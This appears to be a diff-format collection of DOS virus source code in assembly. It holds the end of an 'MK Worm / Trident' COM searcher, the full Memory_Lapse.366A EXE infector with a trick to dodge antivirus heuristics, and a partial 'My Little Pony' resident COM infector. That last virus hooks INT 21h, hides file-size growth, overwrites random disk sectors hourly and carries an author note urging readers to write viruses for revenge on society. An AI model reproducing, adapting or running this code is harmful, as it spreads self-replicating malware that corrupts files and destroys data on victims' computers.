|
move: mov ah,[si+wormlen+2]
|
||||||
|
lodsb
|
||||||
|
xchg ax,dx
|
||||||
|
mov ah,02
|
||||||
|
int 10
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* print a character
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
print: push cx
|
||||||
|
mov ah,09
|
||||||
|
mov bl,0C
|
||||||
|
mov cx,1
|
||||||
|
int 10
|
||||||
|
pop cx
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* random number generator
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
rnd_init: push cx
|
||||||
|
call rnd_init0
|
||||||
|
and ax,000F
|
||||||
|
inc ax
|
||||||
|
xchg ax,cx
|
||||||
|
random_lup: call rnd_get
|
||||||
|
loop random_lup
|
||||||
|
pop cx
|
||||||
|
ret
|
||||||
|
|
||||||
|
rnd_init0: push dx ;initialize generator
|
||||||
|
push cx
|
||||||
|
mov ah,2C
|
||||||
|
int 21
|
||||||
|
in al,40
|
||||||
|
mov ah,al
|
||||||
|
in al,40
|
||||||
|
xor ax,cx
|
||||||
|
xor dx,ax
|
||||||
|
jmp short move_rnd
|
||||||
|
|
||||||
|
rnd_get: push dx ;calculate a random number
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
mov ax,0
|
||||||
|
mov dx,0
|
||||||
|
mov cx,7
|
||||||
|
rnd_lup: shl ax,1
|
||||||
|
rcl dx,1
|
||||||
|
mov bl,al
|
||||||
|
xor bl,dh
|
||||||
|
jns rnd_l2
|
||||||
|
inc al
|
||||||
|
rnd_l2: loop rnd_lup
|
||||||
|
pop bx
|
||||||
|
|
||||||
|
move_rnd: mov word ptr cs:[rnd_get+4],ax
|
||||||
|
mov word ptr cs:[rnd_get+7],dx
|
||||||
|
mov al,dl
|
||||||
|
pop cx
|
||||||
|
pop dx
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* data
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
db ' MK Worm / Trident '
|
||||||
|
root_dir db '\',0
|
||||||
|
back_dir db '..',0
|
||||||
|
dirname db '*.*',0
|
||||||
|
|
||||||
|
comname db '*.COM',0
|
||||||
|
filename db '.\'
|
||||||
|
restname db (26d) dup (?)
|
||||||
|
|
||||||
|
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
|
||||||
|
yval db (wormlen+2) dup (12d)
|
||||||
|
|
||||||
|
direction db 3
|
||||||
|
old_direc db 3
|
||||||
|
count db 0
|
||||||
|
|
||||||
|
eind:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
title "Memory_Lapse.366A"
|
||||||
|
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||||
|
;º Assembly Source Listing for Memory_Lapse.366A º
|
||||||
|
;º Copyright (c) 1993 Memory Lapse. All Rights Reserved. º
|
||||||
|
;ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||||||
|
;º The Memory_Lapse.366A Virus is a non-encrypting, time/date stamp saving, º
|
||||||
|
;º original attribute retaining, disk transfr area preserving, direct action º
|
||||||
|
;º non-overwriting, appending, EXE infector. º
|
||||||
|
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||||
|
.model tiny ;_ASSUME CS=DS=ES=SS
|
||||||
|
.code ;/
|
||||||
|
org 100h ;Origin @ 100h
|
||||||
|
;
|
||||||
|
start: ;Marks Start of Source
|
||||||
|
v_start: ;Marks Start of Virus
|
||||||
|
call $+003h ;Push IP onto Stack
|
||||||
|
pop bp ;Restore IP into BP
|
||||||
|
sub bp,103h ;Subtract for Delta
|
||||||
|
;
|
||||||
|
push es ;Save Segment onto Stack
|
||||||
|
pop di ;Load DI w/DS
|
||||||
|
add di,010h ;Locate Start of EXE
|
||||||
|
|
||||||
|
add di,cs:[bp+word ptr host_bytes+016h] ;Add CS to Start of EXE
|
||||||
|
;
|
||||||
|
push di cs:[bp+word ptr host_bytes+014h] ;Push CS & IP onto Stack
|
||||||
|
push es ds cs ;Push Segments to Stack
|
||||||
|
|
||||||
|
sub ax,ax ;Load Register w/Zero
|
||||||
|
push ax ax ;Push Registers to Stack
|
||||||
|
pop es ds ;Load Segments w/Zero
|
||||||
|
;
|
||||||
|
mov si,021h*004h ;DS:[SI] > INT 21 Vector
|
||||||
|
mov di,003h*004h ;ES:[DI] > INT 03 Vector
|
||||||
|
;
|
||||||
|
movsw ;DS:[SI] -> ES:[DI]
|
||||||
|
movsw ;DS:[SI] -> ES:[DI]
|
||||||
|
;
|
||||||
|
pop ds ;Restore DS (CS=DS)
|
||||||
|
;
|
||||||
|
mov ah,030h ;AH=30h / GET DOS VERS'N
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
cmp al,003h ;Is it DOS 3.0?
|
||||||
|
jb returntohost ;Jump if Below
|
||||||
|
;
|
||||||
|
mov ah,01Ah ;AH=1Ah / SET DTA
|
||||||
|
lea dx,cs:[bp+DTA] ;DX=Location of DTA
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
mov [bp+byte ptr file_count],003h ;Memory Segment = 003h
|
||||||
|
;
|
||||||
|
findfirstEXEfile: ;
|
||||||
|
mov ah,04Eh ;AH=4Eh / FINDFIRST
|
||||||
|
mov cx,1FFh ;CX=Attribute Masking
|
||||||
|
lea dx,cs:[bp+fileEXEspec] ;DX=File Search Type
|
||||||
|
;
|
||||||
|
twilightZONE: ;
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
jc doneEXEinfect ;Jump if Carry Set
|
||||||
|
;
|
||||||
|
jmp SHORT infectEXEfile ;Unconditional Jump
|
||||||
|
;
|
||||||
|
findnextEXEfile: ;
|
||||||
|
cmp [bp+byte ptr file_count],000h ;Infected 3 Files?
|
||||||
|
je doneEXEinfect ;Jump if Equal/Zero
|
||||||
|
;
|
||||||
|
mov ah,04Fh ;AH=4Fh / FINDNEXT
|
||||||
|
;
|
||||||
|
jmp SHORT twilightZONE ;Unconditional Jump
|
||||||
|
;
|
||||||
|
doneEXEinfect: ;
|
||||||
|
mov ah,01Ah ;AH=1Ah / SET DTA
|
||||||
|
mov dx,080h ;DX=080h / Start of CMD
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
returntohost: ;
|
||||||
|
pop ds es ;Restore Segments
|
||||||
|
;
|
||||||
|
retf ;Return Far
|
||||||
|
;
|
||||||
|
virus_name db 'Memory_Lapse.366A (07/01/93)',000h
|
||||||
|
db 'Copyright (c) 1993 Memory Lapse',000h
|
||||||
|
;
|
||||||
|
infectEXEfile: ;
|
||||||
|
mov ax,3D00h ;AX=3D00h / OPEN
|
||||||
|
lea dx,cs:[bp+DTA+01Eh] ;DX=ASCIIZ File Name
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
xchg bx,ax ;Exchange Register Value
|
||||||
|
;
|
||||||
|
push bx ;Save File Handle
|
||||||
|
;
|
||||||
|
mov ax,1220h ;AX=1220h /
|
||||||
|
int 2Fh ;Multiplex Interrupt
|
||||||
|
;
|
||||||
|
mov bl,es:[di] ;
|
||||||
|
;
|
||||||
|
mov ax,1215h ;AX=1215h /
|
||||||
|
inc ax ;AX=1216h /
|
||||||
|
int 2Fh ;Multiplex Interrupt
|
||||||
|
;
|
||||||
|
pop bx ;Restore File Handle
|
||||||
|
;
|
||||||
|
mov es:[di+word ptr 002h],002h ;Open for Read / Write
|
||||||
|
;
|
||||||
|
mov ah,03Fh ;AH=3Fh / READ
|
||||||
|
mov cx,018h ;CX=Number of Bytes
|
||||||
|
lea dx,ds:[bp+host_bytes] ;DX=Buffer for Data
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
cmp ds:[bp+word ptr host_bytes+000h],'ZM' ;Are We A Valid EXE?
|
||||||
|
jnz closeEXEfile ;Jump if Not Equal/Zero
|
||||||
|
;
|
||||||
|
cmp ds:[bp+word ptr host_bytes+012h],'LM' ;Are We Infected?
|
||||||
|
jz closeEXEfile ;Jump if Equal/Zero
|
||||||
|
;
|
||||||
|
mov ax,4202h ;AX=4202h / LSEEK EOF
|
||||||
|
sub cx,cx ;Load Register w/Zero
|
||||||
|
cwd ;Load Register w/Zero
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
push dx ax ;Save Registers on Stack
|
||||||
|
;
|
||||||
|
mov ah,040h ;AH=40h / WRITE
|
||||||
|
mov cx,(v_end-v_start) ;CX=Number of Bytes
|
||||||
|
lea dx,cs:[bp+v_start] ;DX=Location of Data
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
mov ax,4202h ;AX=4202h / LSEEK EOF
|
||||||
|
xor cx,cx ;Load Register w/Zero
|
||||||
|
cwd ;Load Register w/Zero
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
mov cx,200h ;CX=Number to Divide By
|
||||||
|
div cx ;Divide AX by CX
|
||||||
|
;
|
||||||
|
inc ax ;Increment AX
|
||||||
|
;
|
||||||
|
mov ds:[bp+word ptr host_bytes+004h],ax ;# of Pages in File
|
||||||
|
mov ds:[bp+word ptr host_bytes+002h],dx ;# of Bytes @ Last Page
|
||||||
|
;
|
||||||
|
pop ax dx ;Restore Registers
|
||||||
|
;
|
||||||
|
mov cx,010h ;CX=Number to Divide By
|
||||||
|
div cx ;Divide AX by CX
|
||||||
|
;
|
||||||
|
sub ax,ds:[bp+word ptr host_bytes+008h] ;Subtract Header Size
|
||||||
|
;
|
||||||
|
mov ds:[bp+word ptr host_bytes+016h],ax ;CS=Location of Virus
|
||||||
|
mov ds:[bp+word ptr host_bytes+014h],dx ;IP=Start of Virus
|
||||||
|
mov ds:[bp+word ptr host_bytes+012h],'LM' ;CRC=Infection Marker
|
||||||
|
;
|
||||||
|
mov es:[di+word ptr 015h],000h ;Move File Pointer to
|
||||||
|
mov es:[di+word ptr 017h],000h ;Start of File Using SFT
|
||||||
|
;
|
||||||
|
mov ah,040h ;AH=40h / WRITE
|
||||||
|
mov cx,018h ;CX=Number of Bytes
|
||||||
|
lea dx,ds:[bp+host_bytes] ;DX=Location of Data
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
mov ax,5701h ;AX=5701h / SET T/D
|
||||||
|
mov cx,cs:[bp+word ptr DTA+016h] ;CX=Original Time @ DTA
|
||||||
|
mov dx,cs:[bp+word ptr DTA+018h] ;DX=Original Date @ DTA
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
dec [bp+byte ptr file_count] ;Decrement Counter
|
||||||
|
;
|
||||||
|
closeEXEfile: ;
|
||||||
|
mov ah,03Eh ;AH=3Eh / CLOSE File
|
||||||
|
int 003h ;DOS Services
|
||||||
|
;
|
||||||
|
jmp findnextEXEfile ;Unconditional Jump
|
||||||
|
;
|
||||||
|
host_bytes db 016h dup (000h) ;Buffer for Starting
|
||||||
|
dw 0FFF0h ;of the EXE header.
|
||||||
|
db 002h dup (000h) ;
|
||||||
|
;
|
||||||
|
;Get Rid of ThunderByte's "Searches for COM/EXE Files" Heuristic Flag
|
||||||
|
;
|
||||||
|
fileEXEspec db '*M.EXE',000h ;ASCIIZ File Specifics
|
||||||
|
;
|
||||||
|
v_end: ;Marks End of Virus
|
||||||
|
;
|
||||||
|
file_count db 001h dup (?) ;Buffer for Counter
|
||||||
|
DTA db 02Ah dup (?) ;Buffer for DTA
|
||||||
|
;
|
||||||
|
end start ;Marks End of Source
|
||||||
@@ -0,0 +1,749 @@
|
|||||||
|
.model tiny
|
||||||
|
.code
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
start:
|
||||||
|
|
||||||
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
||||||
|
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
|
||||||
|
; My Little Pony 1.00 ;
|
||||||
|
; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ;
|
||||||
|
; - A.N.O.I - ;
|
||||||
|
; ;
|
||||||
|
; ;
|
||||||
|
; I know that there is a much better documented source-code for this ;
|
||||||
|
; virus. And I'm also very interessted to get in touch with the guy ;
|
||||||
|
; who did that documentation. Please contact me. ;
|
||||||
|
; ;
|
||||||
|
; You may freely use this code as you want, just give me some of the ;
|
||||||
|
; credits. Please learn to create virus, so we, together can get our ;
|
||||||
|
; revenge to the soceity. Learn to feel the feeling being cruel! ;
|
||||||
|
; ;
|
||||||
|
; Of cource I can't take any responsibility for all virus-coders ;
|
||||||
|
; who use any of the routines in this virus. ;
|
||||||
|
; ;
|
||||||
|
; ;
|
||||||
|
; Greetings to; The Unforgiven for giving me AT&T's ;
|
||||||
|
; Immortal Riot's members '94 ;
|
||||||
|
; The man sitting in basement ;
|
||||||
|
; ;
|
||||||
|
; ps! Tasm /m3 and tlink /t to get this babe into executable!
|
||||||
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
||||||
|
|
||||||
|
start:
|
||||||
|
call $+3
|
||||||
|
sub_this: pop bp
|
||||||
|
|
||||||
|
mov ax,0dd22h ;are we already in memory?
|
||||||
|
int 21h
|
||||||
|
cmp ax,03d33h
|
||||||
|
jne $+7
|
||||||
|
lea dx,[bp+(cancel-sub_this)]
|
||||||
|
jmp far ptr dx
|
||||||
|
|
||||||
|
mov ax,3521h ;get int 21h vect
|
||||||
|
int 21h
|
||||||
|
mov [bp+(int_21h_off-sub_this)],bx
|
||||||
|
mov [bp+(int_21h_seg-sub_this)],es
|
||||||
|
|
||||||
|
mov ax,cs
|
||||||
|
dec ax
|
||||||
|
mov es,ax
|
||||||
|
mov ax,es:[0003h]
|
||||||
|
sub ax,[bp+(memlen-sub_this)]
|
||||||
|
mov es:[0003h],ax
|
||||||
|
mov ax,[bp+(memlen-sub_this)]
|
||||||
|
sub word ptr es:[0012h],ax
|
||||||
|
mov es,es:[0012h]
|
||||||
|
push es
|
||||||
|
|
||||||
|
lea si,[bp+(start-sub_this)]
|
||||||
|
mov di,0100h
|
||||||
|
mov cx,[bp+(filelen-sub_this)]
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
pop ds ;es => ds
|
||||||
|
mov ax,2521h ;new vector at ES:0100
|
||||||
|
lea dx,new_int_21h
|
||||||
|
int 21h
|
||||||
|
cancel:
|
||||||
|
push cs ;cs => ds => es
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
|
||||||
|
lea si,[bp+(first_bytes-sub_this)]
|
||||||
|
mov cx,3
|
||||||
|
mov di,100h
|
||||||
|
rep movsb
|
||||||
|
sub di,3
|
||||||
|
jmp far ptr di
|
||||||
|
|
||||||
|
db 'Simple Simon met a pieman going to the fair said'
|
||||||
|
db ' Simple Simon to the pieman let me take your ware'
|
||||||
|
write_rnd_sector:
|
||||||
|
cmp dh,0 ;sec
|
||||||
|
jne back
|
||||||
|
|
||||||
|
cmp dl,5 ;100th
|
||||||
|
ja back
|
||||||
|
|
||||||
|
|
||||||
|
pushf ;fuck rnd sector
|
||||||
|
push bx
|
||||||
|
|
||||||
|
call get_rnd
|
||||||
|
mov cx,10 ;/ 10
|
||||||
|
xor dx,dx
|
||||||
|
div cx
|
||||||
|
mov dx,ax ;dx=ax
|
||||||
|
|
||||||
|
mov al,2h ; Drive #, start with C:
|
||||||
|
mov cx,1h ; # of sectors to overwrite
|
||||||
|
lea bx,logo ; Address to overwriting DATA
|
||||||
|
loopie:
|
||||||
|
int 26h
|
||||||
|
popf
|
||||||
|
inc al
|
||||||
|
cmp al,25
|
||||||
|
jne loopie
|
||||||
|
|
||||||
|
|
||||||
|
pop bx
|
||||||
|
popf
|
||||||
|
jmp back
|
||||||
|
|
||||||
|
db '(c)1993 Cruel Entity'
|
||||||
|
|
||||||
|
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||||
|
; New int 21h
|
||||||
|
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||||
|
new_int_21h:
|
||||||
|
pushf
|
||||||
|
|
||||||
|
cmp ax,0dd22h ;check if resident
|
||||||
|
je mem_check
|
||||||
|
|
||||||
|
cmp ah,11h ;find 1st old
|
||||||
|
je find_old
|
||||||
|
cmp ah,12h ;find 1st old
|
||||||
|
je find_old
|
||||||
|
|
||||||
|
cmp ah,4eh ;dos 2.x
|
||||||
|
je find_
|
||||||
|
cmp ah,4fh
|
||||||
|
je find_
|
||||||
|
|
||||||
|
cmp ah,3dh ;open
|
||||||
|
je open_
|
||||||
|
|
||||||
|
cmp ah,3eh ;close
|
||||||
|
je close_
|
||||||
|
|
||||||
|
cmp ah,2ch
|
||||||
|
je back2
|
||||||
|
|
||||||
|
push ax
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
|
||||||
|
mov ah,2ch
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp cl,00 ;a new hour?
|
||||||
|
je write_rnd_sector
|
||||||
|
back:
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
back2:
|
||||||
|
cmp ah,36h
|
||||||
|
jne return_21h
|
||||||
|
push bp
|
||||||
|
lea bp,get_free_space
|
||||||
|
jmp far ptr bp
|
||||||
|
return_21h:
|
||||||
|
popf
|
||||||
|
|
||||||
|
real_int_21h: db 0eah ;jmp...
|
||||||
|
int_21h_off dw ? ;to old int 21h
|
||||||
|
int_21h_seg dw ?
|
||||||
|
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||||
|
|
||||||
|
|
||||||
|
find_:
|
||||||
|
push bp
|
||||||
|
lea bp,find_new
|
||||||
|
jmp far ptr bp
|
||||||
|
|
||||||
|
open_:
|
||||||
|
push bp
|
||||||
|
lea bp,open
|
||||||
|
jmp far ptr bp
|
||||||
|
close_:
|
||||||
|
push bp
|
||||||
|
lea bp,close_file
|
||||||
|
jmp far ptr bp
|
||||||
|
|
||||||
|
mem_check:
|
||||||
|
popf
|
||||||
|
mov ax,3d33h
|
||||||
|
iret
|
||||||
|
call_int21h:
|
||||||
|
jmp dword ptr cs:int_21h_off ;force a call to DOS
|
||||||
|
ret
|
||||||
|
|
||||||
|
find_old:
|
||||||
|
popf
|
||||||
|
|
||||||
|
pushf ;find fcb
|
||||||
|
push cs
|
||||||
|
call call_int21h
|
||||||
|
cmp al,0ffh
|
||||||
|
je no_more_files
|
||||||
|
|
||||||
|
pushf
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push bp
|
||||||
|
|
||||||
|
mov ah,2fh ;get dta
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push es ;es:bx
|
||||||
|
pop ds ;ds:bx
|
||||||
|
mov si,bx ;ds:si
|
||||||
|
|
||||||
|
add si,16 ;ext name
|
||||||
|
lodsw
|
||||||
|
cmp ax,'OC' ;.CO
|
||||||
|
jne cancel_ff
|
||||||
|
lodsb
|
||||||
|
cmp al,'M' ;M
|
||||||
|
jne cancel_ff
|
||||||
|
ext_ok:
|
||||||
|
;ext=com
|
||||||
|
mov si,bx ;check size
|
||||||
|
add si,26h
|
||||||
|
lodsw
|
||||||
|
cmp ax,0 ;=> 0ffffh?
|
||||||
|
jne cancel_ff
|
||||||
|
|
||||||
|
mov si,bx ;check if already infected
|
||||||
|
add si,30
|
||||||
|
lodsw ;time
|
||||||
|
and al,00011111b
|
||||||
|
cmp al,00001010b
|
||||||
|
je $+7 ;already infected (sec=24)
|
||||||
|
lea dx,store_in_mem
|
||||||
|
jmp far ptr dx
|
||||||
|
|
||||||
|
mov si,bx ;alter size
|
||||||
|
add si,36
|
||||||
|
mov di,si
|
||||||
|
lodsw
|
||||||
|
sub ax,cs:filelen
|
||||||
|
jz cancel_ff
|
||||||
|
stosw
|
||||||
|
cancel_ff:
|
||||||
|
pop bp
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
popf
|
||||||
|
no_more_files: retf 2 ;iret flags
|
||||||
|
|
||||||
|
db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%"
|
||||||
|
|
||||||
|
store_in_mem: ;store filename in buffer
|
||||||
|
mov si,bx
|
||||||
|
add si,8
|
||||||
|
|
||||||
|
push cs ;cs => es
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov cx,10
|
||||||
|
lea di,file_buffer ;check pos
|
||||||
|
check_pos:
|
||||||
|
cmp byte ptr es:[di],20h
|
||||||
|
je store
|
||||||
|
add di,8
|
||||||
|
loop check_pos
|
||||||
|
jmp cancel_ff
|
||||||
|
|
||||||
|
store:
|
||||||
|
mov cx,8
|
||||||
|
rep movsb
|
||||||
|
jmp cancel_ff
|
||||||
|
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||||
|
|
||||||
|
get_free_space:
|
||||||
|
pop bp
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push bp
|
||||||
|
|
||||||
|
push cs ;cs=> ds=> es
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
|
||||||
|
lea di,file_buffer
|
||||||
|
mov cx,10
|
||||||
|
check_last:
|
||||||
|
cmp byte ptr [di],20h ;check if last
|
||||||
|
je cancel_inf
|
||||||
|
|
||||||
|
push di
|
||||||
|
push cx
|
||||||
|
mov si,di ;si=file pos
|
||||||
|
call infect
|
||||||
|
pop cx
|
||||||
|
pop di
|
||||||
|
|
||||||
|
add di,8
|
||||||
|
loop check_last
|
||||||
|
cancel_inf:
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
lea di,file_buffer
|
||||||
|
mov cx,80+12
|
||||||
|
mov al,20h
|
||||||
|
rep stosb
|
||||||
|
|
||||||
|
pop bp
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
popf
|
||||||
|
jmp real_int_21h
|
||||||
|
|
||||||
|
infect:
|
||||||
|
;convert filename to asciiz
|
||||||
|
lea di,filename
|
||||||
|
mov cx,8 ;filename NOT ext
|
||||||
|
cpy_filename:
|
||||||
|
lodsb
|
||||||
|
cmp al,20h
|
||||||
|
je filename_klar
|
||||||
|
stosb
|
||||||
|
loop cpy_filename
|
||||||
|
filename_klar:
|
||||||
|
mov al,'.'
|
||||||
|
stosb
|
||||||
|
mov al,'C'
|
||||||
|
stosb
|
||||||
|
mov al,'O'
|
||||||
|
stosb
|
||||||
|
mov al,'M'
|
||||||
|
stosb
|
||||||
|
mov al,0
|
||||||
|
stosb
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ax,4300h ;get attrib
|
||||||
|
lea dx,filename
|
||||||
|
int 21h
|
||||||
|
jnc $+3 ;error?
|
||||||
|
ret
|
||||||
|
|
||||||
|
push cx ;save attrib
|
||||||
|
|
||||||
|
xor cx,cx
|
||||||
|
mov ax,4301h ;force all attribs
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,3d02h ;open filename
|
||||||
|
lea dx,filename
|
||||||
|
pushf
|
||||||
|
push cs
|
||||||
|
call call_int21h
|
||||||
|
mov bx,ax ;save handle
|
||||||
|
|
||||||
|
mov ax,5700h ;get time/date
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push dx ;save time/date
|
||||||
|
push cx
|
||||||
|
|
||||||
|
and cl,00011111b
|
||||||
|
cmp cl,00001010b
|
||||||
|
jne $+7 ;already infected (sec=24)
|
||||||
|
lea dx,cancel_inf2
|
||||||
|
jmp far ptr dx
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,3fh ;read 3 first bytes
|
||||||
|
mov cx,3
|
||||||
|
lea dx,first_bytes
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,4202h ;goto eof
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
sub ax,3 ;create a jmp
|
||||||
|
mov jmp_2,ax
|
||||||
|
|
||||||
|
mov ah,40h ;write virus
|
||||||
|
mov dx,100h
|
||||||
|
mov cx,filelen
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,4200h ;goto beg
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,40h ;write jmp
|
||||||
|
mov cx,3
|
||||||
|
lea dx,jmp_1
|
||||||
|
int 21h
|
||||||
|
cancel_inf2:
|
||||||
|
pop cx ;restore time/date
|
||||||
|
pop dx
|
||||||
|
|
||||||
|
and cl,11100000b ;secs=20
|
||||||
|
or cl,00001010b
|
||||||
|
mov ax,5701h ;set time/date
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3eh ;close
|
||||||
|
pushf
|
||||||
|
push cs
|
||||||
|
call call_int21h
|
||||||
|
|
||||||
|
mov ax,4301h ;set attrib
|
||||||
|
lea dx,filename
|
||||||
|
pop cx ;restore attrib
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
ret
|
||||||
|
find_new:
|
||||||
|
pop bp
|
||||||
|
popf
|
||||||
|
|
||||||
|
pushf ;find 4e
|
||||||
|
push cs
|
||||||
|
call call_int21h
|
||||||
|
jnc more_files
|
||||||
|
retf 2
|
||||||
|
more_files:
|
||||||
|
pushf
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push bp
|
||||||
|
|
||||||
|
mov ah,2fh ;get dta
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push es ;es:bx
|
||||||
|
pop ds ;ds:bx
|
||||||
|
|
||||||
|
mov si,bx ;ds:si
|
||||||
|
|
||||||
|
push cs ;cs => es
|
||||||
|
pop es
|
||||||
|
|
||||||
|
add si,1eh ;f name
|
||||||
|
lea di,filename
|
||||||
|
mov cx,25
|
||||||
|
|
||||||
|
get_fname:
|
||||||
|
lodsb
|
||||||
|
cmp al,0
|
||||||
|
je get_f_klar
|
||||||
|
stosb
|
||||||
|
loop get_fname
|
||||||
|
get_f_klar:
|
||||||
|
mov al,0 ;asciiz
|
||||||
|
stosb
|
||||||
|
|
||||||
|
push ds ;ds=> es
|
||||||
|
pop es
|
||||||
|
push cs ;cs=> ds
|
||||||
|
pop ds
|
||||||
|
mov si,di
|
||||||
|
|
||||||
|
sub si,4 ;'COM'
|
||||||
|
lodsw ;CO
|
||||||
|
|
||||||
|
cmp ax,'OC'
|
||||||
|
je check_m
|
||||||
|
cmp ax,'oc'
|
||||||
|
jne cancel_new
|
||||||
|
check_m:
|
||||||
|
lodsb
|
||||||
|
cmp al,'m'
|
||||||
|
je ext_is_com
|
||||||
|
cmp al,'M'
|
||||||
|
jne cancel_new
|
||||||
|
|
||||||
|
ext_is_com:
|
||||||
|
push es ;es=> ds
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov si,bx
|
||||||
|
add si,1ch ;check size
|
||||||
|
lodsw
|
||||||
|
cmp ax,0 ;=> 0ffffh
|
||||||
|
jne cancel_new
|
||||||
|
|
||||||
|
mov si,bx
|
||||||
|
add si,16h
|
||||||
|
lodsw ;time
|
||||||
|
and al,00011111b
|
||||||
|
cmp al,00001010b
|
||||||
|
jne cancel_new ;not infected
|
||||||
|
|
||||||
|
mov si,bx
|
||||||
|
add si,1ah
|
||||||
|
mov di,si
|
||||||
|
lodsw ;alter size
|
||||||
|
sub ax,cs:filelen
|
||||||
|
jz cancel_new
|
||||||
|
stosw
|
||||||
|
|
||||||
|
cancel_new:
|
||||||
|
pop bp
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
popf
|
||||||
|
no_more_files2: retf 2 ;iret flags
|
||||||
|
open:
|
||||||
|
pop bp
|
||||||
